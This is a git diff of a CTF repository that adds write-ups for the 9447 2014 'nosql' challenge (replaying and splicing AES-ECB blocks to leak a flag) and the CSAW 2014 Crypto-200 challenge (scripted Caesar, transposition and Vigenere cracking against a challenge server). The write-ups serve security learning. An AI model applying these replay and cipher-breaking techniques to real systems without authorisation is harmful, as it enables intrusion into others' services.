diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..ae97532 Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore deleted file mode 100644 index fd2426e..0000000 --- a/.gitignore +++ /dev/null @@ -1,57 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] - -# C extensions -*.so - -# Distribution / packaging -.Python -env/ -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -*.egg-info/ -.installed.cfg -*.egg - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.coverage -.cache -nosetests.xml -coverage.xml - -# Translations -*.mo -*.pot - -# Django stuff: -*.log - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Shit -*~ diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 252e9db..0000000 --- a/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: python -python: - - "2.7" -# command to install dependencies -install: "pip install -r requirements.txt" -# command to run tests -script: nosetests -notifications: - email: false diff --git a/IOCs/.DS_Store b/CTFs_and_WarGames/.DS_Store similarity index 90% rename from IOCs/.DS_Store rename to CTFs_and_WarGames/.DS_Store index 11eda0e..8352c47 100644 Binary files a/IOCs/.DS_Store and b/CTFs_and_WarGames/.DS_Store differ diff --git a/CTFs_and_WarGames/2014/CSAW-quals/README.md b/CTFs_and_WarGames/2014/CSAW-quals/README.md deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/bt3gl b/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/bt3gl deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/crypto-200 b/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/crypto-200 deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/README.md b/CTFs_and_WarGames/2014/CSAW-quals/forensics/README.md deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/CTFs-RECON.md b/CTFs_and_WarGames/CTFs-RECON.md index 439d074..845ec1a 100644 --- a/CTFs_and_WarGames/CTFs-RECON.md +++ b/CTFs_and_WarGames/CTFs-RECON.md @@ -1,8 +1,6 @@ # Recon - - ### Searching the Internets The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it. @@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin``` - [redbot.org](https://redbot.org/) - [shodan.io](https://www.shodan.io/) - [censys.io](https://censys.io/) + ----------------- [FireBug]: http://getfirebug.com/ [Burp Suite]: http://portswigger.net/burp/ diff --git a/CTFs_and_WarGames/CTFs_Writeups/9447/README.md b/CTFs_and_WarGames/CTFs_Writeups/9447/README.md new file mode 100644 index 0000000..cd8fb83 --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/9447/README.md @@ -0,0 +1,213 @@ +# 9447's CTF 2014 + +## On Redis & AES Encryption + +### The Client File + +The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made: + +```py +import os, socket, struct, sys +from Crypto.Cipher import AES + +class EncryptedStream(object): + key = 'this is not the flag nor the key'[:16] + def __init__(self, host, port): + self.sock = socket.socket() + self.sock.connect((host, port)) + def send(self, msg): + while len(msg) % 16: + msg += '\0' + iv = os.urandom(16) + aes = AES.new(self.key, AES.MODE_ECB, iv) + enc = aes.encrypt(msg) + self.sock.send(struct.pack('<I', len(enc))) + self.sock.send(enc) + def recv(self, nbytes): + return self.sock.recv(nbytes) + +client = '''\ +HELLO +SHOW VERSION +SET example This tiny script is basically a RedisStore... +GET example +SHOW KEYS +SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle +SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them +SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag +ENCRYPTION HEX +MD5 flag +''' + +stream = EncryptedStream(sys.argv[1], int(sys.argv[2])) +stream.send(client) +while 1: + data = stream.recv(1000) + if not data: break + sys.stdout.write(data) +``` + +This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream. + +The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump). + + +### The Server File + +The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag. + +In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library: + +```py +import hashlib, os, signal, struct, sys +from Crypto.Cipher import AES + +key = 'this is not the flag nor the key'[:16] +db = { } + +def md5(data): + return hashlib.md5(data).digest() + +def decrypt(data): + iv = os.urandom(16) + aes = AES.new(key, AES.MODE_ECB, iv) + data = aes.decrypt(data) + return data.rstrip('\0') + +def reply_plain(message): + sys.stdout.write(message + '\n') + +def reply_hex(message): + # This is totally encrypted, right? + sys.stdout.write(message.encode('hex') + '\n') + +def main(): + global db + reply = reply_plain + + datalen = struct.unpack('<I', sys.stdin.read(4))[0] + data = '' + while len(data) != datalen: + s = sys.stdin.read(1) + if not s: + sys.exit(1) + data += s + data = decrypt(data) + + commands = data.split('\n') + + for cmd in commands: + if not cmd: + continue + if ' ' in cmd: + cmd, args = cmd.split(' ', 1) + + if cmd == 'HELLO': + reply('WELCOME') + elif cmd == 'SHOW': + if args == 'VERSION': + reply('NoRedisSQL v1.0') + elif args == 'KEYS': + reply(repr(db.keys())) + elif args == 'ME THE MONEY': + reply("Jerry, doesn't it make you feel good just to say that!") + else: + reply('u w0t m8') + elif cmd == 'SET': + key, value = args.split(' ', 1) + db[key] = value + reply('OK') + elif cmd == 'GET': + reply(args + ': ' + db.get(args, '')) + elif cmd == 'SNIPPET': + reply(db[args][:10] + '...') + elif cmd == 'MD5': + reply(md5(db.get(args, ''))) + elif cmd == 'ENCRYPTION': + if args == 'HEX': + reply = reply_hex + reply('OK') + elif args == 'OFF': + reply = reply_plain + reply('OK') + else: + reply('u w0t m8') + else: + reply('Unknown command %r' % (cmd)) + + +if __name__ == '__main__': + signal.alarm(10) + signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0)) + main() +``` + +This script pretty much gives away all the requests that you can issue to inspect the database. + +In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)). + + + +### The PCAP File + +The last file was a **pcap** dump. When opening it with [Wireshark](http://go.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script: + + + +However, we see that the database has already an entry for flag: + +``` +['flag', 'example'] +``` + +The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible). + +Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**. + +As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*. + + +### Solving the Challenge + +It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*, + +```py + elif cmd == 'GET': + reply(args + ': ' + db.get(args, '')) +``` + +is exactly like *MD5 flag*, without the hashing: + +```py + elif cmd == 'MD5': + reply(md5(db.get(args, ''))) +``` + +However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message? + +The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting: + +``` +ION HEX +MD5 flag +``` + +and + +``` +edisStore... +GET +``` + +Now we check how the oracle responds to several types of responses: + +``` +$ python client.py 54.148.249.150 4479 +``` +We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful! + +Now the solution is clear: + +1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```. +2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!). + diff --git a/CTFs_and_WarGames/2014/9447/nosql/capture.pcap b/CTFs_and_WarGames/CTFs_Writeups/9447/nosql/capture.pcap similarity index 100% rename from CTFs_and_WarGames/2014/9447/nosql/capture.pcap rename to CTFs_and_WarGames/CTFs_Writeups/9447/nosql/capture.pcap diff --git a/CTFs_and_WarGames/2014/9447/nosql/client.py b/CTFs_and_WarGames/CTFs_Writeups/9447/nosql/client.py similarity index 100% rename from CTFs_and_WarGames/2014/9447/nosql/client.py rename to CTFs_and_WarGames/CTFs_Writeups/9447/nosql/client.py diff --git a/CTFs_and_WarGames/2014/9447/nosql/server.py b/CTFs_and_WarGames/CTFs_Writeups/9447/nosql/server.py similarity index 100% rename from CTFs_and_WarGames/2014/9447/nosql/server.py rename to CTFs_and_WarGames/CTFs_Writeups/9447/nosql/server.py diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/__init__.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/__init__.py similarity index 100% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/__init__.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/__init__.py diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/answer_pallier.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/answer_pallier.py similarity index 96% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/answer_pallier.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/answer_pallier.py index 7188160..9f3e990 100644 --- a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/answer_pallier.py +++ b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/answer_pallier.py @@ -1,7 +1,6 @@ #!/usr/bin/python -__author__ = "bt3gl" -__email__ = "bt3gl@gmail.com" +__author__ = "Mia Stein" import decimal import socket diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/binary_search.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/binary_search.py similarity index 94% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/binary_search.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/binary_search.py index d5dbfb4..ae7ae37 100644 --- a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/binary_search.py +++ b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/binary_search.py @@ -1,7 +1,6 @@ #!/usr/bin/python -__author__ = "bt3gl" -__email__ = "bt3gl@gmail.com" +__author__ = "Mia Stein" import decimal diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/constants.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/constants.py similarity index 100% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/constants.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/constants.py diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/nc_paillier.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/nc_paillier.py similarity index 96% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/nc_paillier.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/nc_paillier.py index 34eee99..82d7307 100644 --- a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/nc_paillier.py +++ b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/nc_paillier.py @@ -1,7 +1,6 @@ #!/usr/bin/python -__author__ = "bt3gl" -__email__ = "bt3gl@gmail.com" +__author__ = "Mia Stein" import decimal diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/paillier.md b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/paillier.md similarity index 94% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/paillier.md rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/paillier.md index 737a6e3..c9c1d97 100644 --- a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/paillier.md +++ b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/paillier.md @@ -1,16 +1,6 @@ -Title: On Paillier, Binary Search, and the ASIS CTF 2014 -Date: 2014-10-13 3:30 -Category: Cryptography -Tags: CTF, Paillier, Python, Binary_Search, Oracle, Decimal +# On Paillier, Binary Search, and the ASIS CTF 2014 - - -The [ASIS CTF] was last weekend. Although I ended up not playing all I wanted, I did spend some time working on a crypto challenge that was worth a lot of points in the game. The challenge was about a system I never heard about before, the [Paillier cryptosystem]. - - -____ - ## The Cryptosystem The challenge was started by netcating to ```nc asis-ctf.ir 12445```: @@ -392,19 +382,14 @@ ASIS_85c9febd4c15950ab1f19a6bd7a94f87 ``` -Cool, right? - -If you think so, all scripts I mentioned are [here]. - -Hack all the things! ---- [Paillier cryptosystem]: http://en.wikipedia.org/wiki/Paillier_cryptosystem -[here]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier +[here]: https://github.com/go-outside-labs/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier [modulo]: http://en.wikipedia.org/wiki/Modulo_operation [oracle]: http://en.wikipedia.org/wiki/Oracle_machine [ASIS CTF]: http://asis-ctf.ir/home/ [Binary search]:http://en.wikipedia.org/wiki/Binary_search_algorithm -[my scripts]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching \ No newline at end of file +[my scripts]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching \ No newline at end of file diff --git a/CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/paillier_my_poc.py b/CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/paillier_my_poc.py similarity index 100% rename from CTFs_and_WarGames/2014/ASIS-final/crypto_paillier/paillier_my_poc.py rename to CTFs_and_WarGames/CTFs_Writeups/ASIS-final/crypto_paillier/paillier_my_poc.py diff --git a/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/README.md new file mode 100644 index 0000000..baf0760 --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/README.md @@ -0,0 +1,293 @@ +# CSAW CTF 2014 - Cryptography 200 - Psifer School + + +The problem starts with the following text: + +> There's no heartbleed here. Why don't we use these ciphers? +> +> nc 54.209.5.48 12345 +> +> Written by psifertex + + +------ + +## Stage One: Caesar Cipher + + +#### Connecting to the Server + +We start typing the **netcat** command in the terminal: + +```sh +nc 54.209.5.48 12345 +``` + +We get the following message back: + +> Welcome to psifer school v0.002 +> +> Your exam begins now. You have 10 seconds, work fast. +> +> Here is your first psifer text, a famous ancient roman would be proud if you solve it. +> +> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh** +> +>Time's up. Try again later. + +This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it! + + +#### Frequency Analysis +The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*. + +In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key. + +To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values: + + +```python +import string + +def frequency(msg): + # Compute the word frequencies + dict_freq = dict([(c,0) for c in string.lowercase]) + diff = 0.0 + for c in msg.lower(): + if 'a'<= c <= 'z': + diff += 1 + dict_freq[c] += 1 + list_freq = dict_freq.items() + list_freq.sort() + return [b / diff for (a, b) in list_freq] +``` + + + + +#### Deciphering the Cipher + + + +Using a [well-known table of word frequency values], we write a snippet that does the following: + + 1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message. + 2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key. + + +```python +def delta(freq_word, freq_eng): + # zip together the value from the text and the value from FREQ + diff = 0.0 + for a, b in zip(freq_word, freq_eng): + diff += abs(a - b) + return diff + +def decipher(msg): + # Decipher by frequency + min_delta, best_rotation = 20, 0.0 + freq = frequency(msg) + for key in range(26): + d = delta(freq[key:] + freq[:key], FREQ_ENGLISH) + if d < min_delta: + min_delta = d + best_rotation = key + return cipher(msg, -best_rotation) +``` + + + + +Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations: + + 1. We start getting the integer representing the [Unicode] code point of the character. + 2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97). + 3. We add the key value to it to get the (absolute) shift position. + 4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table. + 5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher. + 6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message. + +```python +def cipher(msg, key): + # Make the cipher + dec = '' + for c in msg.lower(): + if 'a' <= c <= 'z': + dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26) + else: + dec += c + return dec +``` + +Bingo! The snippets above lead us to our first answer in this problem: + +> the answer to this stage is **supersimple** + +Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct. + + + +#### Automating the Response + +To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script. + +We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with: + +```python +from telnetlib import Telnet + +PORT = 12345 +HOST = '54.209.5.48' + +tn = Telnet(HOST ,PORT) +``` + +In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF. + +To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string. + + +As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well: + +```python +s = socket(AF_INET, SOCK_STREAM) +s.connect(HOST) +``` + +Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types. + +To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```. + + + +#### Decrypting and Sending the Answer +Now, back to our problem. After creating the telnet connection, we read whatever comes in: +```python +tn.read_until(b'psifer text: ') +``` + +We decode and decrypt the text, and then encode it again: +```python +msg_in1 = tn.read_until(b'\n').decode().strip() +dec_msg_in1 = decipher(msg_in1) +answer1 = dec_msg_in1.split()[-1].encode() + b'\n' +``` + +Finally, we send our answer to the telnet session (the same answer obtained before): +```python +tn.write(answer1) +``` + +----------------------------------------- + +## Stage Two: Offset with Special Characters + +The second stage starts with the following message: + + +> Congratulations, you have solved stage 1. You have 9 seconds left. +> +> Now it's time for something slightly more difficult. Hint, everybody knows it's +> not length that matters. + +Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters): + +```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h``` + + +To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps: + + 1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem. + + 2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems. + + 3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop. + + 4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine! + + +```python +def solve2(msg): + # Shift cypher, but dealing with special characters + for j in range(2, len(msg)): + + dec_msg = ['0'] * len(msg) + idec_msg, shift = 0, 0 + + for i in range(len(msg)): + dec_msg[idec_msg] = msg[i] + idec_msg += j + + if idec_msg > len(msg) - 1: + shift += 1 + idec_msg = shift + dec_msg = "".join(dec_msg) + + if "you" not in dec_msg: continue + return dec_msg +``` + +After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket: + +> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge! + + + +---- + +## Stage Three: Vigenere Cipher + +The next message lets us know that we are close to the end: + +> Congratulations, you have solved stage 2. You have 9 seconds left. +> Last one. + +And comes with the following cipher: +``` +MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY +``` + +This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers). + +Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function: + +```python +def solve3(msg): + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg +``` + +This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get: + +``` +THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE, +``` +Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet! + + + + +## Final Words + +If you like this solution, take a look at my [exploit for this problem]. + +**Hack all the things!** + +[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher +[exploit for this problem]: https://github.com/go-outside-labs/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200 +[scripts from other authors]:https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net +[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency + [telnetlib]: https://docs.python.org/2/library/telnetlib.html + [socket]: https://docs.python.org/2/library/socket.html + [own netcat script]: https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py + [pygenere]: http://smurfoncrack.com/pygenere/pygenere.php + [Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher + [online Vigenere cracker]: http://smurfoncrack.com/pygenere/ +[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries +[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter +[ord()]: https://docs.python.org/2/library/functions.html#ord +[module]: http://en.wikipedia.org/wiki/Modulo_operation +[Unicode]: http://en.wikipedia.org/wiki/Unicode +[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/__init__.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/__init__.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/__init__.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/__init__.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/caesarCipher.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/caesarCipher.py similarity index 98% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/caesarCipher.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/caesarCipher.py index b569914..593e765 100644 --- a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/caesarCipher.py +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/caesarCipher.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -__author__ = "bt3gl" +__author__ = "Mia Stein" import string diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php 